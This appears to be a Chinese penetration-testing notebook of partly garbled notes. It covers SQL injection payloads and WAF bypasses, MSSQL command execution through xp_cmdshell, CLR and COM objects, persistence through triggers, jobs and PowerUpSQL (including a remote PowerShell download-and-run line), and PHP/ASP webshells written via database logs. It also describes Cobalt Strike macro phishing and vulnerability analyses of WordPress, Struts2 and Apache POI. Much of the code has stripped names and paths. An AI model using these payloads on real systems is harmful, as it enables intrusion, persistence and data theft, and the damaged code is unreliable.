id=1'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))ibEg)/**
Referer:1'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
ua:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
x-forw:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
mssql:
id=1' WAITFOR DELAY '0:0:5'--+
id=1';WAITFOR DELAY '0:0:5'--+
id=1');WAITFOR DELAY '0:0:5'--+
id=1" WAITFOR DELAY '0:0:5'--+
id=1";WAITFOR DELAY '0:0:5'--+
id=1");WAITFOR DELAY '0:0:5'--+
id=1' or 51 = '49'; WAITFOR DELAY '0:0:5'--+
只是常见的,可以继续枚举…
#报错注入,爆数据库版本
以下payload都是数字型,如果是字符型,就在1后面添加单引号或者双引号
id=1+and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
id=1+and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+
id=1+and geometrycollection((select * from(select * from(select user())a)b))--+
id=1+and multipoint((select from(select * from(select user())a)b))--+
in d=1+and polygon((select * from(select * from(select user()a)b))--+
id=1+and multipolygon((select * from(select * from(select user())a)b))--+
id=1+and linestring((select * from(select * from(select user())a)b))--+
id=1+and multilinestring((select * from(select * from(select user()a)b))--+
1d=1+and exp(~(select * from(select user())a))--+
PostgreSQL:/?param=1 and(1)=cast(version() as numeric)--+
Oracle报错注入
' AND 1932(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(122)||CHR(113)||(SELECT+(CASE+WHEN
如果sq1map跑不出,则加参数 --level 5 --risk 3
risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加0R语句的SQL注入测试
2.2.10.1 MSSQL利用总结(dayu-Eighth day)
命令执行
1、xp_cmdshell
开启xp_cmdshell
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
执行
exec xp_cmdshell "whoami"
//在mssql中,转义符为"""转义字符"""
恢复被删除的xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell ,@dllname =''
提示找不到则需要自己上传。
2、sp_oacreate
打开组件
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
执行
declare @shell int exec sp_oacreate '',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\ /c whoami >d:\\temp\\'
此方法无回显,可把命令执行结果写到web路径下或者配合dns侧信道
3、沙盒执行
需要当前mssql用户有写注册表权限
开启
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
执行
select * from openrowset('.4.0',';database=c:\windows\system32\ias\','select shell("whoami")')
在默认安装mssql 2012上报错 “无法创建链接服务器“(null)”的 OLE DB 访问接口“.4.0”的实例。” 暂未找到解决办法
4、CLR执行
Common Language Runtime(CLR)程序集定义为可以导入SQL Server的.NET DLL(或DLL组)。导入后,DLL方法可以链接到存储过程并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本机功能的好方法,但自然也为攻击者创造了机会。以C#代码为例,将下面代码用CSC编译为dll
using System;
using ;
using ;
using ;
using ;
using ;
using ;
using ;
public partial class StoredProcedures
{
[]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
= @"C:\Windows\System32\";
= (@" /C {0}", );
= false;
= true;
();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", , 4000));
// Mark the beginning of the result set.
(record);
// Set values for each column in the row
(0, ().ToString());
// Send the row back to the client.
(record);
// Mark the end of the result set.
();
();
();
}
};
编译
C:\Windows\\Framework64\v4.0.30319\ /target:library c:\temp\cmd_exec.cs //主意.net版本
得到的DLL上传到目标,设置dll文件权限,否则mssql可能因为文件权限问题导致读取dll失败
开启CLR
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
遇到权限问题,需要设置数据库拥有者为sa,这个方法不能使用master数据库来执行查询语句
alter database [数据库名] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'
接着执行
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
Go
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
接下来就可以执行命令了
这个方法还可以通过16进制文件流的方式导入DLL,这样可以不用文件落地
5、com对象
开启
EXEC sp_configure 'Ole Automation Procedures',1
执行
declare @dbapp int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@dbapp output;
--exec sp_oamethod @dpapp,'run',null,'';
exec sp_oamethod @dbapp,'exec',@exec output,'C:\\windows\\system32\\ /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str
注册表
1、读注册表
EXEC xp_regread 'HKEY_CURRENT_USER','Control Panel\International','sCountry'
2、写注册表
.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; #开启远程桌面
3、删除操作
exec master.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','
SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' //删除值
exec
master.xp_regdeletekey 'HKEY_LOCAL_MACHINE','
SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' //删除键
4、添加值
EXECUTE master..xp_regaddmultistring
@ rootkey ='HKEY_LOCAL_MACHINE',
@ key ='SOFTWARETest',
@ value_name ='TestValue',
@ value ='Test'
5、枚举可用的注册表键
EXEC master..xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
持久化
1、定时任务
启用sql server代理,右键-新建-作业
步骤-新建
配置执行的语句,可以自定义
然后在“计划”选项里配置执行时间
此外,可以使用十六进制CLR新建一个存储过程然后用计划作业执行存储过程,这样更加隐蔽
2、触发器
触发器用于在执行指定语句动作之后执行sql语句,如update,可配合注入使用
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TRIGGER [test222]
ON [test]
AFTER UPDATE /*建立一个作用于表test的、
类型为After update的、名为 test222的触发器*/
AS
BEGIN
EXECUTE .XP_CMDSHELL ' /c '
END
GO
在对表进行update操作之后,就会执xp_cmdshell
文件操作
1、判断文件是否存在
exec xp_fileexist "C:\\users\\public\\"
返回0表示文件不存在,1表示存在。在执行无回显命令时,把执行结果重定向到一个文件,再用xp_fileexist判断该文件是否存在,就可知道命令是否执行成功
2、列目录
exec xp_subdirs "C:\Users\Administrator\",2,1
第一个参数设定要查看的文件夹。 第二个参数限制了这个存储过程将会进行的递归级数。默认是零或所有级别。第三个参数告诉存储过程包括文件。默认是零或只对文件夹,数值 1 代表包括结果集的文件
3、写文件
exec sp_makewebtask 'c:\www\','select''<%execute(request("SB"))%>'' '
需要开启Web Assistant Procedures
exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
在sql server 2012上开启失败
4、创建目录
exec xp_create_subdir 'D:\test'
5、压缩文件
exec xp_makecab 'c:', 'mszip', 1, 'c:' , 'c:'
它允许你指定一列你想压缩的文件还有你想放进去的 cab 文件。它甚至允许你选择默认压缩, MSZIP 压缩 ( 类似于 .zip文件格式 ) 或不压缩。第一个参数给出到 cab 文件的路径,这是你想创建和添加文件的地方。第二个参数是压缩级别。如果你想使用详细的日志记录就使用第三个参数。第四个参数后跟着你想压缩的文件的名称。可以在扩展存储过程里传 多个要压缩的文件名称
信息获取
1、获取机器名
exec xp_getnetname
2、获取系统信息
exec xp_msver
3、获取驱动器信息
exec xp_fixeddrives
4、获取域名
SELECT DEFAULT_DOMAIN() as mydomain;
5、遍历域用户
先获取RID
SELECT SUSER_SID('CATE4CAFE\Domain Admins')
利用RID前48位即0x010500000000000515000000F80F57B63AF32D50A0916B7B构造SID即可遍历域用户。我们知道,域用户的SID是从500开始,所以把500转换成16进制,为01F4,在mssql里需要翻转为F401,然后用0000补足得到0x010500000000000515000000F80F57B63AF32D50A0916B7BF4010000,在mssql里查询
采用循环SQL语句遍历即可遍历出所有域用户
msf有个模块可通过注入点枚举域用户
参考文章:
/developer/article/1506821 --感谢雷神众测大佬的分享
2.2.10.2 攻击MSSQL–PowerUpSQL 介绍
发现MSSQL实例
发现本地实例
通过SPN查找域内mssql实例
通过广播查找mssql实例
通过UDP查找网络内的mssql实例
接受机器名或者IP
获取MSSQL信息
获取配置信息
获取服务信息
测试口令
获取默认密码实例
在脚本中提供了默认安装的一些实例名和默认密码,但是不包括MSSQLSERVER和SQL Express(避免账号锁定)。可以根据自身需要加入自定义的账号密码
使用字典测试
命令的含义是通过管道爆破可以连接的发现的实例。此外,该函数还可以尝试通过Invoke-SQLOSCmd执行命令
持久性
启用存储过程
在SQL Server启动时添加数据库管理账户
Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadmin1 -NewSqlPass Password123!
添加windows管理员
Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadmin1 -NewosPass Password123!
执行 powershell命令
Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -PsCommand "IEX(new-object ).downloadstring('/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
写注册表
Get-SQLPersistRegDebugger -Verbose -FileName -Command 'c:\windows\system32\' -Instance "MSSQL" -Username "sa" -Password "_PL<0okm"
RDP后门,需要当前mssql用户有写注册表权限
作业
除了CMD,还支持VBScript、powershell、JScript
此外,工具还集成了一些通过mssql执行系统命令的方式
Invoke-SQLOSCmd
Invoke-SQLOSCmdCLR
Invoke-SQLOSCmdCOle
Invoke-SQLOSCmdPython
Invoke-SQLOSCmdR
触发器
工具支持创建DDL和DML两种触发器
Get-SQLTriggerDdl -Instance SQLServer1\STANDARDDEV2014 -username '' -password ''
Get-SQLTriggerDml -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -username '' -password ''
可根据实际情况定义触发条件
获取域信息
当前域用户信息
域用户
组
域机器
更多用法可自行查看命令参数,或者查看项目wiki
防御方案
增加账号的口令强度
用低权限账号连接数据库
修改默认实例的默认口令
2.2.10.3 如何利用Mysql安全特性发现漏洞
前言
在渗透测试时,面对Mysql环境,需要用到load_file与into outfile时,会发现无法使用load_file读取不到系统文件、同时into outfilet无法写入后门进行getshell,这时候就有必要了解下Mysql数据库特性secure_file_priv变量安全配置。此变量用于限制数据导入和导出操作,执行的效果 LOAD DATA和SELECT… NTO OUTFILE报表和LOAD_FILE()功能。仅允许具有此FILE权限的用户执行这些操作
**
Mysql权限
**
1、管理权限使用户能够管理MySQL服务器的操作。这些权限是全局的,因为它们不是特定于特定数据库的
2、数据库权限适用于数据库及其中的所有对象。可以为特定数据库或全局授予这些权限,以便它们适用于所有数据库
3、可以为数据库中的特定对象,数据库中给定类型的所有对象(例如,数据库中的所有表)或全局的所有对象授予数据库对象(如表,索引,视图和存储例程)的权限。所有数据库中给定类型的对象
**
load_file函数用法
本次提到的内容涉及的是GRANT和REVOKE的允许静态权限中的file在渗透测试过程中,碰到 load_file读取文件的前提条件:
MySQL LOAD_FILE()读取文件并以字符串形式返回文件内容。
LOAD FILE(file name)
其中file_name是带路径的文件名。
实例:
SELECT * LOAD_FILE ('/home/username/')
要成功使用load_file读取文件有几个前提:
1)尝试加载的文件必须存在于运行MySQL服务器的同一主机中
2)加载文件必须指定文件的完整路径名
3)正在执行该命令的用户必须具有FILE权限
4)加载的文件不得超过 max_allowed packet变量指定的值
5)MySQL有一个secure_file_priv变量。如果该变量的值设置为非空目录名,则要加载的文件必须位于该目录中
Mysql版本差异
5.5.53之前版本,默认情况下此变量为空,允许使用mysql终端对secure_file_priv参数更新(不讨论windows环境安装情况)
5.5.53及之后版本修改secure_file_priv值只能修改配置文件(不讨论windows环境安装)
成功利用实例
案例
环境:
MySQL5.5版本
RedHat6.2版本
仅能使用navicat连接数据库(非root权限用户):
目标:
使用locd_file读取服务器文件、读取站点配置文件、站点源码,进一步getshell
show global variables like '%secure%';
secure_file_priv的值为null,那么secure_file_priv这里都有什么设置呢
secure_file_priv为null表示不允许导入导出
secure_file_priv指定文件夹时表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时则表示没有任何限制
想要成功利用load_file函数,必须设置secure_file_priv变量为空,这样读取文件也就没有限制
set global secure_file_priv=";
注意:修改secure_file_priv配置后,需要重启mysql才能生效。
进一步读取:etc/passwd文件
select load_file('/etc/passwd');
读取出来后(BLOB)1.26KB,发现为BLOB二进制数据,为方便获取文件信息,
使用 wireshark读取 MySQL协议中的第一 Request Query信息:
然后在wireshark中查看TCP流就能看到passwd信息…
这是一个思路!!
脑洞大开
关于 into outfilel函数,用于写入文件进行geshell,利用该函数同样前提
1、secure_file_ priv为空,能够写入文件
2、具备写入特定目录,如 /var/www/htm网站路径权限
3、写入的文件能够正常解析
另外一种思路(需要mysql roo权限)
1、修改 general_ log的值为on,同时general_log_file修改为网站绝对路径+文件
2、在网站查询sql语句(伪造sql语句的查询一句话后门,很多情况下仅能写入php),将会向网站路径下写入sql语句,访问写入的文件,可成功getshe‖
总结:
很多情况下碰到的实战环境特别苛刻、严格,不是像在靶机环境一样一帆风顺,往往需要灵活应对各种不同复杂环境,从中找出一条适合自己测试的方向
2.2.10.4 Hibernate基本注入
基本概念
JDBC:提供了一组 Java API来访问关系数据库的Java程序
ORM:对象关系映射
实体类与数据库表一一对应
不需要操作数据库,而是操作实体类对象
Hibernate :
基于ORM的一种框架
对JDBC代码进行封裝
开发者不需要写SQL语句就能实现对数据库进行增删改查
属于dao层
适用于MS SQLSERVER、ORACLE、SQL、H2、Access和Mysql等多种数据库
参考文章:
/hibernate/01/ --详细介绍
/-qing-/p/ --注入攻击
/developer/article/1035345 --注入攻击
这里对于Hibernate注入提几个思路点:
#添加操作代码
使用save,不太可能会出现拼接漏洞
因此在添加、创建操作下,Hibernate大概率不会出现注入漏洞
Usertestusertest=new Usertest();
(username);
(password);
(usertest);
#查询操作代码
createQuery容易岀现拼接漏洞
实际上,比较容易出现漏洞的是在 like '%xxx%'、 order by xxx这种语句中
修改操作和删除操作代码中如果存在**査询操作代码**,也有可能岀现拼接漏洞
#Hibernate支持输入
and or
database() user() version() ascii()
假设开发者未进行过滤,则可存在万能密码
1' or '1'='1
1' or user() like '%root%
#Hibernate不支持输入 union/select
因此无法进行爆库
#暴露路径
Usertest是定义用户的类,其与数据库中的用户数据表一一对应,因此很有可能就是数据表名
#猜解字段名
password是另一字段名,因此输入以下语句并未报错
1' or password='2
password1是不存在的字段名,因此输入以下语句报错
1' or password1='2
2.2.10.5 mysql 利用general_log_file、slow_query_log_file写文件
高版本的mysql中,一般默认配置了–secure_file_priv为null限制了文件写入,这时,可以通过mysql的general_log_file、slow_query_log_file来尝试写文件
general_log_file
set global general_log='on'
SET global general_log_file='D:/phpstudy/www/';
SELECT '<?php assert($_POST["cmd"]);?>';
set global general_log='off'; //切记关闭
slow_query_log_file
用到了mysql的慢查询,全名是慢查询日志,是MySQL提供的一种日志记录,用来记录在 MySQL中响应时间超过阀值的语句。开启之后默认阀值是10s,可以更改此时间
set global slow_query_log=on;
set global slow_query_log_file="C:\\phpstudy\\PHPTutorial\\www\\
select sleep(15),'<?php assert($_POST["cmd"]);?>'
set global slow_query_log=off
参考文章:另外的思路
https:///2018/10/21/Mysql%20在渗透测试中的利用/ --general_log_file利用写入shell
/-mo-/p/ --slow_query_log_file利用方法
2.2.10.6 SQL Server注入 Getshell 有趣案例
这里感谢倾旋大佬的思路分享
倾旋大佬博客:/posts/
参考我之前写的一篇文章:某次项目技术点实录-Regsvr32 ole对象
0x01 前言
本文非基础类的普及文章,主要分享内网中遇到的一个有趣案例。
0x02 Bypass注入点
通常情况下,遇到SQL Server注入点,我会比较关注是否是DBA权限,如果是,那么就可能拿到执行命令的权限,进而反弹到C2上,方便后续的后渗透工作。
一开始在一处比较复杂的功能点发现了SQL Server的注入,也是首先利用AND进行判断:
参数:ModuleType存在注入点,但是后面有一层站点全局输入的检测机制,从简单的测试来看,是不存在语法分析的一种,比较容易绕过。
我尝试了以下方案:
and -> And
and -> /**/And
and -> /*xsww!s*/And
and -> /*xswwS1154-_[0)}!s*/And
and -> /***/And
最终发现第五种可以绕过,使得后端无法辨别/***/
是否和And是一个本体。
那么我猜想到了一个简单的表达式,似乎和这个过滤规则比较相向:/*\w{0,}*/
0x03 tamper 自动化实现
这里直接改了以下,这个脚本在Kali Linux中的sqlmap目录下:
核心代码:
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue
只需要替换/**/即可:
接着,就可以跑出注入了~
PS:我比较习惯于添加--random-agent
参数,理由是在注入的过程中,避免被流量感知设备发现。
0x04 xp_cmdshell
到这一步的时候,我遇到了一个问题,SQLMAP调用exec master…xp_cmshell的时候被拦截了,因为后端还检测是否有exec、master
,于是我还要将tamper加两句:
payload = ("exec","/***/Execute/***/")
payload = ("master..","/***//***/")
最终结果:/***/execute/***//***/xp_cmdshell/***/'whoami'
点击发包,还是无法执行,被360拦截了!
这个Error Code 5 ,是Windows的错误代码,中文意思就是:“拒绝访问”。
现在xp_cmdshell被拦截的很多了,但是sp_oacreate应该可以使用的:
参考我之前写的一篇文章:Regsvr32 ole对象
declare @shell int exec sp_oacreate '',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\ /c whoami >C:\'
后续我发现该服务器无法出网,还是站库分离
因此无法执行操作系统命令
0x05 写入文件
在写文件这块,我浪费了大量的时间,首先要确定能否向站点目录写文件,当前写文件的操作是否被拦截等等因素。
一开始的思路是调用xp_cmdshell,采用echo去写,目前已无法执行命令,就此作罢,吸了一口芙蓉王,精神焕发,遂查到数据库备份的方式。
提交:
{"ClientType": "", "ClientGuid": "09a37ee1-5ec3-46db-9279-4cb066622e8d", "ModuleType": "A2501';use test222;create table [dbo].[test2] ([cmd] [image]);insert/***/into/***/test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);backup database test222 to disk='C:\' WITH DIFFERENTIAL,FORMAT;-- ", "IsBackEnd": false }
页面返回正常。
但是,我的站点目录如果是中文呢?在Burp里处理就非常麻烦!
还记得之前的IIS 7.5吗,IIS在接收到一个请求后,会自动将数据进行Unicode解码,如果流量设备、WAF不支持此特性的话,就可以进行绕过,这里我着重解决中文目录的问题。
到这此文就结束了,我并没有成功Getshell,只是回顾我解决问题的思维方式,希望能对大家有用!
倾旋大佬文章:
/archivers/2020-01-01/3
2.2.11 文件读取漏洞
/t/6594
2.2.12 Pentesterlab Xss
/ --官网
/pentesterlab/web_for_pentester_i386.iso --安装包
/he_and/article/details/79798958
/2018/11/11/pentesterlab-xss题解/
/articles/2018/05/28/ --很直观
三篇大佬文章详细讲解了pentesterlab靶机进行XSS渗透!!!
2.2.13 Office宏的基本利用
前言
Office宏,译自英文单词Macro。宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。而宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上
Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic 脚本
环境准备
Windows 7 x64 旗舰版
Microsoft Office 2016
CobaltStrike 3.14
CobaltStrike生成宏
先利用CobaltStrike生成宏payload,接下来只要放入word、excel或ppt即可
创建宏Word
打开Word文档,点击 “Word 选项 — 自定义功能区 — 开发者工具(勾选) — 确定”
编写主体内容后,点击 “开发工具 — Visual Basic” 。
双击 “ThisDocument” ,将原有内容全部清空,然后将CobaltStrike生成宏payload全部粘贴进去,保存并关闭该 VBA 编辑器
另存为的Word类型务必要选”Word 97-2003 文档 (*.doc)”,即 doc 文件,保证低版本可以打开。之后关闭,再打开即可执行宏代码
反弹Beacon shell
默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知
诱导目标手动点击”启用内容”宏。
目标一旦启用,CobaltStrike的Beacon就会上线,即成功接收到Shell
宏代码分析
CobaltStrike生成默认的VBA会导入四个Windows API函数,常见的ShellCode加载器代码:
CreateRemoteThread 创建一个在其它进程地址空间中运行的线程(也称:创建远程线程).
VirtualAllocEx 指定进程的虚拟空间保留或提交内存区域
WriteProcessMemory 写入某一进程的内存区域
CreateProcess 创建一个新的进程和它的主线程,这个新进程运行指定的可执行文件
其中Array(-4,-24,-119,0,0,0,96,-119,-27...
就是ShellCode,混淆的办法有很多种
ShellCode可以自己在VBA里解码或者比如每个元素自增1,运行的时候-1,达到免杀 ……
参考文章:
/p/98526727 --感谢我不是大神的文章
2.2.14 Java-security-calendar-2019-Candy-Cane
官网:
/java-security-calendar-2019/
/?p=914 --9102年Java里的XXE
/?p=930 --9102年Java里的XXE的防御
/search?keyword=Java+Security+2019 ---Ripstech Java Security 2019 Calendar复现系列(1-4)
这里还有更好的文章,没找到!!!!需要回看!!!
2.2.15 Discuz Ssrf Rce漏洞分析报告
很老的一个漏洞了
/developer/article/1511949 ---复现
/t/2018 ---Discuz!因Memcached未授权访问导致的RCE
/archives/ ---/archives/
/vuls/ ---Discuz x3.4前台SSRF漏洞分析
/@Lhaihai/H1B8PJ9hX --SSRF集合笔记
有一篇很古老的经典文章,硬是没找到!!!只能书里看了
2.2.16 WordPress语言文件代码执行漏洞分析
0x00 漏洞概述
1、漏洞简介
WordPress是一个以PHP和MySQL为平台的*开源的博客软件和内容管理系统,在 github (/anonymous/908a087b95035d9fc9ca46cef4984e97)上爆出这样一个漏洞,在其<=4.6.1版本中,如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话,就可以执行任意代码
2、漏洞影响
任意代码执行,但有以下两个前提:
攻击者可以上传自己构造的语言文件,或者含有该语言文件的主题、插件等文件夹
网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译
这里举一个真实场景中的例子:攻击者更改了某个插件中的语言文件,并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译,然后攻击者通过诱导管理员安装此插件来触发漏洞
3、影响版本
<= 4.6.1
0x01 漏洞复现
1、环境搭建
docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql
docker run --name wp --link wp-mysql:mysql -d wordpress
2、漏洞分析
首先我们来看这样一个场景:
在调用create_function
时,我们通过 }
将原函数闭合,添加我们想要执行的内容后再使用/*
将后面不必要的部分注释掉,最后即使我们没有调用创建好的函数,我们添加的新内容也依然被执行了。之所以如此,是因为create_function
内部使用了eval
来执行代码,我们看PHP手册上的说明:
所以由于这个特性,如果我们可以控制create_function
的$code
参数,那就有了任意代码执行的可能。这里要说一下,create_function
这个漏洞最早由80sec在08年提出,这里提供几个链接作为参考:
/exploits/32416/
/?id=48231
http:///Article/201212/
接下来我们看Wordpress中一处用到create_function
的地方,在wp-includes/pomo/
第203-209行:
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
根据注释可以看到该函数的作用是根据字体文件中的plural forms
这个header来创建函数并返回,其中$expression
用于组成$func_body
,而$func_body
作为$code
参数传入了create_function
,所以关键是控制$expresstion
的值。
我们看一下正常的字体文件zh_CN.mo
,其中有这么一段:Plural-Froms
这个header就是上面的函数所需要处理的,其中nplurals
的值即为$nplurals
的值,而plural
的值正是我们需要的$expression
的值。所以我们将字体文件进行如下改动:
然后我们在后台重新加载这个字体文件,同时进行动态调试,可以看到如下情景:
我们payload中的)
首先闭合了前面的(
,然后;
结束前面的语句,接着是我们的一句话木马,然后用/*
将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function
,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload:
其中访问?c=phpinfo();
的函数调用栈如下:
0x02 修复方案
下载官方发布的补丁打上,建议管理员增强安全意识,不要使用来路不明的字体文件、插件、主题等等
对于开发者来说,建议对$expression
中的特殊符号进行过滤,例如:
$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);
参考:
/vuldb/ssvid-92459
/anonymous/908a087b95035d9fc9ca46cef4984e97
/manual/zh/
/exploits/32416/
/?id=48231
http:///Article/201212/
/InstallingWordPressinYourLanguage
/developer/article/1078451 --正文,感谢
2.2.17 Struts2远程命令执行s2-048漏洞分析报告
/course/58753 --春秋视频讲解
/strutss2-048远程命令执行漏洞分析/ --阿尔法实验室
/vuls/ --复现
/p/05efdc8f4301 --复现
/p/356291fb26a2 --复现
/Dukebf/note/821989 --strut2各版本漏洞信息整理
很老的一个漏洞了…学习下思路~~
2.2.18 静态免杀php一句话(已过D盾,河马,安全狗)
/ABKing/p/ --2020年8月最新一句话木马免杀(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)
/s/lExi2_y4NkTak735kpz4ug --2020年8月如何优雅的隐藏你的webshell
还有很多方法,这里书籍上的方法未找到,可看书!!
2.2.19 金融信息系统安全测评方法(不公布!)
/webdev/file/webFiles/File/jsbz/ ---信息安全技术信息安全风险评估规范
/webdev/file/webFiles/File/zcbz/ ---信息安全技术信息系统安全管理要求
学习下就好!!!
随着大数据、云计算、人工智能及区块链等新兴技术的应用,银行业手机银行、微信银行等新兴数字化金通过安全测评过程,全面分析出信息系统可能存在的人为破坏场景及其成因与后果,通过科学有效的测试
所以才提起金融信息系统安全测评方法这块内容的警惕,这里只能看书,网上应该是封了大部分资料书内容很全!!
2.2.20 Apache-Poi-XXE-Analysis
复现CVE-2019-12415、CVE-2014-3529
0x01 概述
apache poi 这个组件实际上在 java 应用中蛮常见的,这个组件主要用在 word 文档或者 excel 文件导入的业务场景下使用。众所周知,这些文档实际上也是一个类似压缩包一类的存在,所以今天就看看这个东西。
0x02 漏洞分析
CVE-2014-3529
apache poi 在3.10.1之前存在XXE漏洞
漏洞场景搭建
测试代码
import ;
import .;
import ;
import ;
import ;
import ;
import ;
public class CVE20143529 {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
Workbook wb1 = (new FileInputStream(""));
Sheet sheet = (0);
(());
}
}
//
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="/POM/4.0.0"
xmlns:xsi="http:///2001/XMLSchema-instance"
xsi:schemaLocation="/POM/4.0.0 /xsd/maven-4.0.">
<modelVersion>4.0.0</modelVersion>
<groupId></groupId>
<artifactId>xxe</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId></groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.10-FINAL</version>
</dependency>
</dependencies>
</project>
漏洞复现
修改 excel 文件中的 [Content_Types].xml 、 /xl/ 、 /xl/worksheets/ 中均可添加 xxepayload 触发漏洞,我选择在 [Content_Types].xml 文件中添加
漏洞分析
选择在处下一个断点,一步步跟入,来到了 OPCPackage 这个类中
public static OPCPackage open(InputStream in) throws InvalidFormatException, IOException {
OPCPackage pack = new ZipPackage(in, PackageAccess.READ_WRITE);
if ( == null) {
();
}
return pack;
}
在这个累里,首先new了一个 ZipPackage 类来解析输入,跟进来很明显是个处理 zip 这类型压缩包的东西
ZipPackage(InputStream in, PackageAccess access) throws IOException {
super(access);
= new ZipInputStreamZipEntrySource(new ZipInputStream(in));
}
继续往下走,看到了一个if里面调用了();方法,跟进 getParts
public ArrayList<PackagePart> getParts() throws InvalidFormatException {
();
if ( == null) {
boolean hasCorePropertiesPart = false;
boolean needCorePropertiesPart = true;
PackagePart[] parts = ();
这里不知道漏洞触发点在哪,自然就一步步跟了,首先看到了一个(),跟进这个方法,在这个方法里面看到了一个很眼熟的东西,我们刚刚是在 [Content_Types].xml 文件中添加的payload,这里出现了这个文件
继续跟进 ZipContentTypeManager 这个类,跟进之后才发现,它调用的是它的父类 ContentTypeManager 来进行处理
public ZipContentTypeManager(InputStream in, OPCPackage pkg) throws
InvalidFormatException {
super(in, pkg);
}
跟进 ContentTypeManager ,下图中 parseContentTypesFile 处理了我们的输入
跟进 parseContentTypesFile 终于找到了XXE的触发点
贴一个调用栈
parseContentTypesFile:377, ContentTypeManager (.)
<init>:105, ContentTypeManager (.)
<init>:56, ZipContentTypeManager (.)
getPartsImpl:188, ZipPackage (.)
getParts:665, OPCPackage (.)
open:274, OPCPackage (.)
create:79, WorkbookFactory ()
main:12, CVE20143529
漏洞修复
可以看到修复方式将 (in) 变成了 (in)
private void parseContentTypesFile(InputStream in) throws InvalidFormatException {
try {
Document xmlContentTypetDoc = (in);
然后在 中做了一些 xxe 的限制
CVE-2019-12415
